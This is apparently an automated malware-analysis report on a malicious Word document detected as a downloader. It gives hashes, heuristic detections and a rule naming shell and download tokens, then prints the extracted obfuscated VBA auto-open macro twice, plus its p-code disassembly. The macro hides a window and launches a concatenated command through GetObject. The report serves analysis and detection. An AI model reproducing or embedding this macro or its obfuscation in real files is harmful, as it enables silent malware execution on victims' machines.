Office (OLE) malware analysis — malicious · f4a6981f94d0bfe1

MALICIOUS

Office (OLE)

149.1 KB Created: 2019-03-20 14:29:00 Authoring application: Microsoft Office Word First seen: 2022-07-02

MD5: 3beacb4b26757d6c61affbfb096ecd16 SHA-1: 52d5c1b96481d7f25b217f26e30adccda699c4c6 SHA-256: f4a6981f94d0bfe1b0557f534152eac561fd028bb92c1e15ac1e9c155e8058db

190 Risk Score

Heuristics 7

ClamAV: Doc.Downloader.Sagent-6902866-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Sagent-6902866-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
GetObject call high OLE_VBA_GETOBJ

GetObject call
Matched line in script
```
Set OGXoDB = GetObject(bxDkQAB.Y1BxADo)
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub autoopen()
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15299 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	15299 bytes
SHA-256: `24e26c5007d50be1b4e4d0d67535144419c5013f54ff51b6361792acc92ee8d1`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "VAAwABo" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "bxDkQAB" Attribute VB_Base = "0{4ADD271E-62B3-4FC3-8D5F-5DAA1FB64C78}{8F2D98A8-7A22-4C62-9499-C611BDF06611}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "FBU_GAUQ" Sub autoopen() On Error Resume Next If bkUAAGAQ = AcAABw_ Then iXZAcADc = 818984927 * CInt(870248260) / _ 661857214 + Sqr(801325567) * 206703840 / CInt(999715560) * (213071604 * 812693045) qcAoAZ = (300041760 - Asc(VUQQBDB) / CDAAAG4G / 837334000 + _ wAAQcGBA / Fix(807015819 + Log(XQAGAADD * Sgn(456405636) + YQUQAAZA / CSng(650021952)))) End If If WwAQ4D4k = kAQk1QB_ Then dQ_AcC = 931148952 * CInt(87174455) / _ 975000336 + Sqr(383662918) * 109379300 / CInt(600710954) * (172450687 * 373407569) uBDAGA = (278084938 - Asc(wCABxXBk) / uAkQAAZ / 162012456 + _ F_UADoAD / Fix(669892230 + Log(NBAxx4A * Sgn(952752119) + YAxZ_QQ / CSng(728383211)))) End If If hAQDBA = Ex4ADAA Then iQDDB_ = 412887974 * CInt(634221319) / _ 129733626 + Sqr(54445718) * 206005216 / CInt(714414628) * (564723357 * 530991518) RkADQDBB = (535993688 - Asc(GUXwD4cc) / ADBDAA / 990022775 + _ bZUXAAUA / Fix(381897607 + Log(oBAA1w * Sgn(930938977) + FBBBZA / CSng(30944015)))) End If Set OGXoDB = GetObject(bxDkQAB.Y1BxADo) If wAAUQxA = MCBDxU_k Then kA4ABAA = 934535510 * CInt(918861163) / _ 219172688 + Sqr(23570679) * 824949853 / CInt(547517805) * (373519339 * 16479815) qCACAAXA = (788865896 - Asc(loBwA__Q) / vAxDB1A / 420566520 + _ SAAAAA / Fix(651542787 + Log(WAAZxwAD * Sgn(812284043) + uwAXAA / CSng(882054045)))) End If If OAZAxAAA = BXAAXCU Then TCCAA_ = 99052273 * CInt(72248205) / _ 703550566 + Sqr(818230063) * 53132344 / CInt(706909604) * (196099915 * 401345730) K_AADDQ = (92390653 - Asc(cXAAUxBA) / QGAQAB / 557796722 + _ nAQAAc_D / Fix(547186464 + Log(JoAACoA_ * Sgn(407622150) + UoQAQA1U / CSng(544333238)))) End If If YkAZXDDD = Z4AABA Then sQUZk4 = 675471138 * CInt(244123964) / _ 360916293 + Sqr(345151611) * 53110634 / CInt(477692344) * (263086134 * 83001223) bXXxA4UA = (888986178 - Asc(nAAAUAA) / OccAAC / 9558557 + _ woAc1k / Fix(644149644 + Log(uADG4X * Sgn(74501564) + GAAAAD_ / CSng(670649822)))) End If OGXoDB.ShowWindow = 356019 - 356019 If qBAAABAD = wB4UA1Do Then ucBQkA = 900992713 * CInt(81762444) / _ 858036521 + Sqr(449516603) * 115055982 / CInt(304942463) * (624910223 * 776633603) wUGZocQ = (12292019 - Asc(WGAAAG4A) / OwA4CcZA / 673731292 + _ rxADUX / Fix(997417007 + Log(XQcD4AAC * Sgn(794626535) + SUoDU_DB / CSng(895512750)))) End If If Y4BG4_AD = bUGDXA_A Then aBQZAA = 148453590 * CInt(632082997) / _ 443664009 + Sqr(190605587) * 698409771 / CInt(31221876) * (16190019 * 312953570) SQQkAx = (791713505 - Asc(rABAADZ) / SAAA4C / 316730691 + _ w1ZUDACB / Fix(680729175 + Log(DZQAkw * Sgn(898885597) + jkw1ACB / CSng(203643703)))) End If GetObject(bxDkQAB.X_AwZUA). _ Create# tQ4ABQC + bxDkQAB.A_A4UD + wXUAwBx + bxDkQAB.Mw1A1Awx + d_wCokAo + bxDkQAB.ZZBUoG + FAAUAX, A4GUBckA, OGXoDB, jZoDBXA If uDwoBA = QBA1o_ Then YxxAA4o = 525730236 * CInt(842812733) / _ 431672444 + Sqr(164576374) * 788601371 / CInt(250492118) * (961779926 * 829852977) FXAAAABB = (842791072 - Asc(iADAQZ4) / GAAXUA / 403480656 + _ DDAABAAA / Fix(690434272 + Log(XQ4A_oUD * Sgn(522870338) + RkC41ACw / CSng(591593070)))) End If If wc1oAAx = BBBUBoA Then fAD_ZCQA = 363077685 * CInt(569216700) / _ 40333973 + Sqr(289736201) * 399145316 / CInt(548857396) * (468572668 * 363601893) FGZDA4ck = (710304794 - Asc(TAcAAcAD) / RD4UAAA / 623017496 + _ BAxA_1 / Fix(525312556 + Log(YDwkQcwD * Sgn(464589979) + P1cAQBo / CSng(382692748)))) End If If NQoDAAZ = lAwABA Then PAUAACQA = 503192262 * CInt(923967585) / _ 305911456 + Sqr(407736915) * 472800749 / CInt(937832910) * (446940003 * 847296583) oAA1U4 = (202315136 - Asc(HABDA1) / MXACBDA / 122524620 + _ fBQDUx / Fix(309488706 + Log(QxUkQZA * Sgn(643487997) + sAkQAXA / CSng(490599319)))) End If End Sub ' Processing file: /opt/analyzer/scan_staging/954670c6e007445f8f065e93201fe836.bin ' =============================================================================== ' Module streams: ' Macros/VBA/VAAwABo - 1105 bytes ' Macros/VBA/bxDkQAB - 1157 bytes ' Macros/VBA/FBU_GAUQ - 6634 bytes ' Line #0: ' FuncDefn (Sub FBU_GAUQ()) ' Line #1: ' OnError (Resume Next) ' Line #2: ' Ld autoopen ' Ld bkUAAGAQ ' Eq ' IfBlock ' Line #3: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0xB7DF 0x30D0 ' LitDI4 0xEF44 0x33DE ' Coerce (Int) ' Mul ' LitDI4 0x23BE 0x2773 ' Div ' LitDI4 0x41FF 0x2FC3 ' ArgsLd Sqr 0x0001 ' LitDI4 0x0CE0 0x0C52 ' Mul ' LitDI4 0x72E8 0x3B96 ' Coerce (Int) ' Div ' LitDI4 0x36F4 0x0CB3 ' LitDI4 0xB635 0x3070 ' Mul ' Paren ' Mul ' Add ' St AcAABw_ ' Line #4: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x4620 0x11E2 ' Ld qcAoAZ ' ArgsLd Asc 0x0001 ' Ld VUQQBDB ' Div ' LitDI4 0xB3F0 0x31E8 ' Div ' Sub ' Ld CDAAAG4G ' LitDI4 0x158B 0x301A ' Ld wAAQcGBA ' LitDI4 0x3284 0x1B34 ' FnSgn ' Mul ' Ld XQAGAADD ' LitDI4 0x8C40 0x26BE ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St iXZAcADc ' Line #5: ' EndIfBlock ' Line #6: ' Ld YQUQAAZA ' Ld WwAQ4D4k ' Eq ' IfBlock ' Line #7: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x3498 0x3780 ' LitDI4 0x2D37 0x0532 ' Coerce (Int) ' Mul ' LitDI4 0x5310 0x3A1D ' Div ' LitDI4 0x3B46 0x16DE ' ArgsLd Sqr 0x0001 ' LitDI4 0xFEE4 0x0684 ' Mul ' LitDI4 0x1F2A 0x23CE ' Coerce (Int) ' Div ' LitDI4 0x637F 0x0A47 ' LitDI4 0xBF51 0x1641 ' Mul ' Paren ' Mul ' Add ' St kAQk1QB_ ' Line #8: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x3D4A 0x1093 ' Ld uBDAGA ' ArgsLd Asc 0x0001 ' Ld wCABxXBk ' Div ' LitDI4 0x1D28 0x09A8 ' Div ' Sub ' Ld uAkQAAZ ' LitDI4 0xBE86 0x27ED ' Ld F_UADoAD ' LitDI4 0xD7F7 0x38C9 ' FnSgn ' Mul ' Ld NBAxx4A ' LitDI4 0x3EEB 0x2B6A ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St dQ_AcC ' Line #9: ' EndIfBlock ' Line #10: ' Ld YAxZ_QQ ' Ld hAQDBA ' Eq ' IfBlock ' Line #11: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x2BA6 0x189C ' LitDI4 0x7307 0x25CD ' Coerce (Int) ' Mul ' LitDI4 0x93FA 0x07BB ' Div ' LitDI4 0xC696 0x033E ' ArgsLd Sqr 0x0001 ' LitDI4 0x63E0 0x0C47 ' Mul ' LitDI4 0x1A24 0x2A95 ' Coerce (Int) ' Div ' LitDI4 0xFE9D 0x21A8 ' LitDI4 0x499E 0x1FA6 ' Mul ' Paren ' Mul ' Add ' St Ex4ADAA ' Line #12: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x9D58 0x1FF2 ' Ld RkADQDBB ' ArgsLd Asc 0x0001 ' Ld GUXwD4cc ' Div ' LitDI4 0x8C77 0x3B02 ' Div ' Sub ' Ld ADBDAA ' LitDI4 0x4B87 0x16C3 ' Ld bZUXAAUA ' LitDI4 0x0061 0x377D ' FnSgn ' Mul ' Ld oBAA1w ' LitDI4 0x2B0F 0x01D8 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St iQDDB_ ' Line #13: ' EndIfBlock ' Line #14: ' SetStmt ' Ld MSForms ' MemLd GetObject ' ArgsLd OGXoDB 0x0001 ' Set FBBBZA ' Line #15: ' Ld Y1BxADo ' Ld wAAUQxA ' Eq ' IfBlock ' Line #16: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0xE156 0x37B3 ' LitDI4 0xB56B 0x36C4 ' Coerce (Int) ' Mul ' LitDI4 0x4F50 0x0D10 ' Div ' LitDI4 0xA8F7 0x0167 ' ArgsLd Sqr 0x0001 ' LitDI4 0xBC5D 0x312B ' Mul ' LitDI4 0x756D 0x20A2 ' Coerce (Int) ' Div ' LitDI4 0x73EB 0x1643 ' LitDI4 0x7647 0x00FB ' Mul ' Paren ' Mul ' Add ' St MCBDxU_k ' Line #17: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x2368 0x2F05 ' Ld qCACAAXA ' ArgsLd Asc 0x0001 ' Ld loBwA__Q ' Div ' LitDI4 0x55F8 0x1911 ' Div ' Sub ' Ld vAxDB1A ' LitDI4 0xC103 0x26D5 ' Ld SAAAAA ' LitDI4 0x788B 0x306A ' FnSgn ' Mul ' Ld WAAZxwAD ' LitDI4 0x139D 0x3493 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St kA4ABAA ' Line #18: ' EndIfBlock ' Line #19: ' Ld uwAXAA ' Ld OAZAxAAA ' Eq ' IfBlock ' Line #20: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x6AF1 0x05E7 ' LitDI4 0x6B8D 0x044E ' Coerce (Int) ' Mul ' LitDI4 0x5466 0x29EF ' Div ' LitDI4 0x332F 0x30C5 ' ArgsLd Sqr 0x0001 ' LitDI4 0xBC38 0x032A ' Mul ' LitDI4 0x95A4 0x2A22 ' Coerce (Int) ' Div ' LitDI4 0x3F4B 0x0BB0 ' LitDI4 0x0CC2 0x17EC ' Mul ' Paren ' Mul ' Add ' St BXAAXCU ' Line #21: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0xC4FD 0x0581 ' Ld K_AADDQ ' ArgsLd Asc 0x0001 ' Ld cXAAUxBA ' Div ' LitDI4 0x4D72 0x213F ' Div ' Sub ' Ld QGAQAB ' LitDI4 0x6720 0x209D ' Ld nAQAAc_D ' LitDI4 0xD206 0x184B ' FnSgn ' Mul ' Ld JoAACoA_ ' LitDI4 0xDDB6 0x2071 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St TCCAA_ ' Line #22: ' EndIfBlock ' Line #23: ' Ld UoQAQA1U ' Ld YkAZXDDD ' Eq ' IfBlock ' Line #24: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0xDF22 0x2842 ' LitDI4 0x093C 0x0E8D ' Coerce (Int) ' Mul ' LitDI4 0x2545 0x1583 ' Div ' LitDI4 0x987B 0x1492 ' ArgsLd Sqr 0x0001 ' LitDI4 0x676A 0x032A ' Mul ' LitDI4 0x01B8 0x1C79 ' Coerce (Int) ' Div ' LitDI4 0x6036 0x0FAE ' LitDI4 0x7F87 0x04F2 ' Mul ' Paren ' Mul ' Add ' St Z4AABA ' Line #25: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0xDA42 0x34FC ' Ld bXXxA4UA ' ArgsLd Asc 0x0001 ' Ld nAAAUAA ' Div ' LitDI4 0xDA1D 0x0091 ' Div ' Sub ' Ld OccAAC ' LitDI4 0xF18C 0x2664 ' Ld woAc1k ' LitDI4 0xCDBC 0x0470 ' FnSgn ' Mul ' Ld uADG4X ' LitDI4 0x4DDE 0x27F9 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St sQUZk4 ' Line #26: ' EndIfBlock ' Line #27: ' LitDI4 0x6EB3 0x0005 ' LitDI4 0x6EB3 0x0005 ' Sub ' Ld FBBBZA ' MemSt GAAAAD_ ' Line #28: ' Ld ShowWindow ' Ld qBAAABAD ' Eq ' IfBlock ' Line #29: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x0EC9 0x35B4 ' LitDI4 0x988C 0x04DF ' Coerce (Int) ' Mul ' LitDI4 0x9929 0x3324 ' Div ' LitDI4 0x143B 0x1ACB ' ArgsLd Sqr 0x0001 ' LitDI4 0x9D6E 0x06DB ' Mul ' LitDI4 0x0D7F 0x122D ' Coerce (Int) ' Div ' LitDI4 0x5F8F 0x253F ' LitDI4 0x7D03 0x2E4A ' Mul ' Paren ' Mul ' Add ' St wB4UA1Do ' Line #30: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x8FB3 0x00BB ' Ld wUGZocQ ' ArgsLd Asc 0x0001 ' Ld WGAAAG4A ' Div ' LitDI4 0x52DC 0x2828 ' Div ' Sub ' Ld OwA4CcZA ' LitDI4 0x602F 0x3B73 ' Ld rxADUX ' LitDI4 0x09E7 0x2F5D ' FnSgn ' Mul ' Ld XQcD4AAC ' LitDI4 0x70AE 0x3560 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St ucBQkA ' Line #31: ' EndIfBlock ' Line #32: ' Ld SUoDU_DB ' Ld Y4BG4_AD ' Eq ' IfBlock ' Line #33: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x38D6 0x08D9 ' LitDI4 0xD235 0x25AC ' Coerce (Int) ' Mul ' LitDI4 0xC689 0x1A71 ' Div ' LitDI4 0x6913 0x0B5C ' ArgsLd Sqr 0x0001 ' LitDI4 0xE32B 0x29A0 ' Mul ' LitDI4 0x6874 0x01DC ' Coerce (Int) ' Div ' LitDI4 0x0A43 0x00F7 ' LitDI4 0x4AE2 0x12A7 ' Mul ' Paren ' Mul ' Add ' St bUGDXA_A ' Line #34: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x96E1 0x2F30 ' Ld SQQkAx ' ArgsLd Asc 0x0001 ' Ld rABAADZ ' Div ' LitDI4 0xED43 0x12E0 ' Div ' Sub ' Ld SAAA4C ' LitDI4 0x1A57 0x2893 ' Ld w1ZUDACB ' LitDI4 0xE7DD 0x3593 ' FnSgn ' Mul ' Ld DZQAkw ' LitDI4 0x5B37 0x0C23 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St aBQZAA ' Line #35: ' EndIfBlock ' Line #36: ' LineCont 0x0004 07 00 00 00 ' Ld Create ' Ld MSForms ' MemLd tQ4ABQC ' Add ' Ld A_A4UD ' Add ' Ld MSForms ' MemLd wXUAwBx ' Add ' Ld Mw1A1Awx ' Add ' Ld MSForms ' MemLd d_wCokAo ' Add ' Ld ZZBUoG ' Add ' Ld FAAUAX ' Ld FBBBZA ' Ld A4GUBckA ' Ld MSForms ' MemLd jkw1ACB ' ArgsLd OGXoDB 0x0001 ' ArgsMemCall X_AwZUA# 0x0004 ' Line #37: ' Ld jZoDBXA ' Ld uDwoBA ' Eq ' IfBlock ' Line #38: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x01BC 0x1F56 ' LitDI4 0x4D3D 0x323C ' Coerce (Int) ' Mul ' LitDI4 0xCC7C 0x19BA ' Div ' LitDI4 0x3C76 0x09CF ' ArgsLd Sqr 0x0001 ' LitDI4 0x1A1B 0x2F01 ' Mul ' LitDI4 0x34D6 0x0EEE ' Coerce (Int) ' Div ' LitDI4 0x98D6 0x3953 ' LitDI4 0x8D31 0x3176 ' Mul ' Paren ' Mul ' Add ' St QBA1o_ ' Line #39: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0xF8A0 0x323B ' Ld FXAAAABB ' ArgsLd Asc 0x0001 ' Ld iADAQZ4 ' Div ' LitDI4 0xA050 0x180C ' Div ' Sub ' Ld GAAXUA ' LitDI4 0x30E0 0x2927 ' Ld DDAABAAA ' LitDI4 0x5E42 0x1F2A ' FnSgn ' Mul ' Ld XQ4A_oUD ' LitDI4 0xFE6E 0x2342 ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St YxxAA4o ' Line #40: ' EndIfBlock ' Line #41: ' Ld RkC41ACw ' Ld wc1oAAx ' Eq ' IfBlock ' Line #42: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x2035 0x15A4 ' LitDI4 0x8EBC 0x21ED ' Coerce (Int) ' Mul ' LitDI4 0x7295 0x0267 ' Div ' LitDI4 0x0609 0x1145 ' ArgsLd Sqr 0x0001 ' LitDI4 0x7964 0x17CA ' Mul ' LitDI4 0xE634 0x20B6 ' Coerce (Int) ' Div ' LitDI4 0xD9FC 0x1BED ' LitDI4 0x1FE5 0x15AC ' Mul ' Paren ' Mul ' Add ' St BBBUBoA ' Line #43: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x641A 0x2A56 ' Ld FGZDA4ck ' ArgsLd Asc 0x0001 ' Ld TAcAAcAD ' Div ' LitDI4 0x7E18 0x2522 ' Div ' Sub ' Ld RD4UAAA ' LitDI4 0xA22C 0x1F4F ' Ld BAxA_1 ' LitDI4 0x149B 0x1BB1 ' FnSgn ' Mul ' Ld YDwkQcwD ' LitDI4 0x6D8C 0x16CF ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St fAD_ZCQA ' Line #44: ' EndIfBlock ' Line #45: ' Ld P1cAQBo ' Ld NQoDAAZ ' Eq ' IfBlock ' Line #46: ' LineCont 0x0004 09 00 00 00 ' LitDI4 0x1AC6 0x1DFE ' LitDI4 0xA061 0x3712 ' Coerce (Int) ' Mul ' LitDI4 0xD6A0 0x123B ' Div ' LitDI4 0x9253 0x184D ' ArgsLd Sqr 0x0001 ' LitDI4 0x5DED 0x1C2E ' Mul ' LitDI4 0x31CE 0x37E6 ' Coerce (Int) ' Div ' LitDI4 0xC363 0x1AA3 ' LitDI4 0xB847 0x3280 ' Mul ' Paren ' Mul ' Add ' St lAwABA ' Line #47: ' LineCont 0x0004 0E 00 00 00 ' LitDI4 0x1580 0x0C0F ' Ld oAA1U4 ' ArgsLd Asc 0x0001 ' Ld HABDA1 ' Div ' LitDI4 0x93CC 0x074D ' Div ' Sub ' Ld MXACBDA ' LitDI4 0x6C42 0x1272 ' Ld fBQDUx ' LitDI4 0xD8FD 0x265A ' FnSgn ' Mul ' Ld QxUkQZA ' LitDI4 0xF397 0x1D3D ' Coerce (Sng) ' Div ' Add ' ArgsLd Log 0x0001 ' Add ' FnFix ' Div ' Add ' Paren ' St PAUAACQA ' Line #48: ' EndIfBlock ' Line #49: ' EndSub ' Line #50:

SHA-256: 24e26c5007d50be1b4e4d0d67535144419c5013f54ff51b6361792acc92ee8d1

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "VAAwABo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bxDkQAB"
Attribute VB_Base = "0{4ADD271E-62B3-4FC3-8D5F-5DAA1FB64C78}{8F2D98A8-7A22-4C62-9499-C611BDF06611}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "FBU_GAUQ"
Sub autoopen()
On Error Resume Next
   If bkUAAGAQ = AcAABw_ Then
      iXZAcADc = 818984927 * CInt(870248260) / _
661857214 + Sqr(801325567) * 206703840 / CInt(999715560) * (213071604 * 812693045)
      qcAoAZ = (300041760 - Asc(VUQQBDB) / CDAAAG4G / 837334000 + _
wAAQcGBA / Fix(807015819 + Log(XQAGAADD * Sgn(456405636) + YQUQAAZA / CSng(650021952))))
End If
   If WwAQ4D4k = kAQk1QB_ Then
      dQ_AcC = 931148952 * CInt(87174455) / _
975000336 + Sqr(383662918) * 109379300 / CInt(600710954) * (172450687 * 373407569)
      uBDAGA = (278084938 - Asc(wCABxXBk) / uAkQAAZ / 162012456 + _
F_UADoAD / Fix(669892230 + Log(NBAxx4A * Sgn(952752119) + YAxZ_QQ / CSng(728383211))))
End If
   If hAQDBA = Ex4ADAA Then
      iQDDB_ = 412887974 * CInt(634221319) / _
129733626 + Sqr(54445718) * 206005216 / CInt(714414628) * (564723357 * 530991518)
      RkADQDBB = (535993688 - Asc(GUXwD4cc) / ADBDAA / 990022775 + _
bZUXAAUA / Fix(381897607 + Log(oBAA1w * Sgn(930938977) + FBBBZA / CSng(30944015))))
End If
Set OGXoDB = GetObject(bxDkQAB.Y1BxADo)
   If wAAUQxA = MCBDxU_k Then
      kA4ABAA = 934535510 * CInt(918861163) / _
219172688 + Sqr(23570679) * 824949853 / CInt(547517805) * (373519339 * 16479815)
      qCACAAXA = (788865896 - Asc(loBwA__Q) / vAxDB1A / 420566520 + _
SAAAAA / Fix(651542787 + Log(WAAZxwAD * Sgn(812284043) + uwAXAA / CSng(882054045))))
End If
   If OAZAxAAA = BXAAXCU Then
      TCCAA_ = 99052273 * CInt(72248205) / _
703550566 + Sqr(818230063) * 53132344 / CInt(706909604) * (196099915 * 401345730)
      K_AADDQ = (92390653 - Asc(cXAAUxBA) / QGAQAB / 557796722 + _
nAQAAc_D / Fix(547186464 + Log(JoAACoA_ * Sgn(407622150) + UoQAQA1U / CSng(544333238))))
End If
   If YkAZXDDD = Z4AABA Then
      sQUZk4 = 675471138 * CInt(244123964) / _
360916293 + Sqr(345151611) * 53110634 / CInt(477692344) * (263086134 * 83001223)
      bXXxA4UA = (888986178 - Asc(nAAAUAA) / OccAAC / 9558557 + _
woAc1k / Fix(644149644 + Log(uADG4X * Sgn(74501564) + GAAAAD_ / CSng(670649822))))
End If
OGXoDB.ShowWindow = 356019 - 356019
   If qBAAABAD = wB4UA1Do Then
      ucBQkA = 900992713 * CInt(81762444) / _
858036521 + Sqr(449516603) * 115055982 / CInt(304942463) * (624910223 * 776633603)
      wUGZocQ = (12292019 - Asc(WGAAAG4A) / OwA4CcZA / 673731292 + _
rxADUX / Fix(997417007 + Log(XQcD4AAC * Sgn(794626535) + SUoDU_DB / CSng(895512750))))
End If
   If Y4BG4_AD = bUGDXA_A Then
      aBQZAA = 148453590 * CInt(632082997) / _
443664009 + Sqr(190605587) * 698409771 / CInt(31221876) * (16190019 * 312953570)
      SQQkAx = (791713505 - Asc(rABAADZ) / SAAA4C / 316730691 + _
w1ZUDACB / Fix(680729175 + Log(DZQAkw * Sgn(898885597) + jkw1ACB / CSng(203643703))))
End If
GetObject(bxDkQAB.X_AwZUA). _
Create# tQ4ABQC + bxDkQAB.A_A4UD + wXUAwBx + bxDkQAB.Mw1A1Awx + d_wCokAo + bxDkQAB.ZZBUoG + FAAUAX, A4GUBckA, OGXoDB, jZoDBXA
   If uDwoBA = QBA1o_ Then
      YxxAA4o = 525730236 * CInt(842812733) / _
431672444 + Sqr(164576374) * 788601371 / CInt(250492118) * (961779926 * 829852977)
      FXAAAABB = (842791072 - Asc(iADAQZ4) / GAAXUA / 403480656 + _
DDAABAAA / Fix(690434272 + Log(XQ4A_oUD * Sgn(522870338) + RkC41ACw / CSng(591593070))))
End If
   If wc1oAAx = BBBUBoA Then
      fAD_ZCQA = 363077685 * CInt(569216700) / _
40333973 + Sqr(289736201) * 399145316 / CInt(548857396) * (468572668 * 363601893)
      FGZDA4ck = (710304794 - Asc(TAcAAcAD) / RD4UAAA / 623017496 + _
BAxA_1 / Fix(525312556 + Log(YDwkQcwD * Sgn(464589979) + P1cAQBo / CSng(382692748))))
End If
   If NQoDAAZ = lAwABA Then
      PAUAACQA = 503192262 * CInt(923967585) / _
305911456 + Sqr(407736915) * 472800749 / CInt(937832910) * (446940003 * 847296583)
      oAA1U4 = (202315136 - Asc(HABDA1) / MXACBDA / 122524620 + _
fBQDUx / Fix(309488706 + Log(QxUkQZA * Sgn(643487997) + sAkQAXA / CSng(490599319))))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/954670c6e007445f8f065e93201fe836.bin
' ===============================================================================
' Module streams:
' Macros/VBA/VAAwABo - 1105 bytes
' Macros/VBA/bxDkQAB - 1157 bytes
' Macros/VBA/FBU_GAUQ - 6634 bytes
' Line #0:
' 	FuncDefn (Sub FBU_GAUQ())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld bkUAAGAQ 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	LineCont 0x0004 09 00 00 00
' 	LitDI4 0xB7DF 0x30D0 
' 	LitDI4 0xEF44 0x33DE 
' 	Coerce (Int) 
' 	Mul 
' 	LitDI4 0x23BE 0x2773 
' 	Div 
' 	LitDI4 0x41FF 0x2FC3 
' 	ArgsLd Sqr 0x0001 
' 	LitDI4 0x0CE0 0x0C52 
' 	Mul 
' 	LitDI4 0x72E8 0x3B96 
' 	Coerce (Int) 
' 	Div 
' 	LitDI4 0x36F4 0x0CB3 
' 	LitDI4 0xB635 0x3070 
' 	Mul 
' 	Paren 
' 	Mul 
' 	Add 
' 	St AcAABw_ 
' Line #4:
' 	LineCont 0x0004 0E 00 00 00
' 	LitDI4 0x4620 0x11E2 
' 	Ld qcAoAZ 
' 	ArgsLd Asc 0x0001 
' 	Ld VUQQBDB 
' 	Div 
' 	LitDI4 0xB3F0 0x31E8 
' 	Div 
' 	Sub 
' 	Ld CDAAAG4G 
' 	LitDI4 0x158B 0x301A 
' 	Ld wAAQcGBA 
' 	LitDI4 0x3284 0x1B34 
' 	FnSgn 
' 	Mul 
' 	Ld XQAGAADD 
' 	LitDI4 0x8C40 0x26BE 
' 	Coerce (Sng) 
' 	Div 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	FnFix 
' 	Div 
' 	Add 
' 	Paren 
' 	St iXZAcADc 
' Line #5:
' 	EndIfBlock 
' Line #6:
' 	Ld YQUQAAZA 
' 	Ld WwAQ4D4k 
' 	Eq 
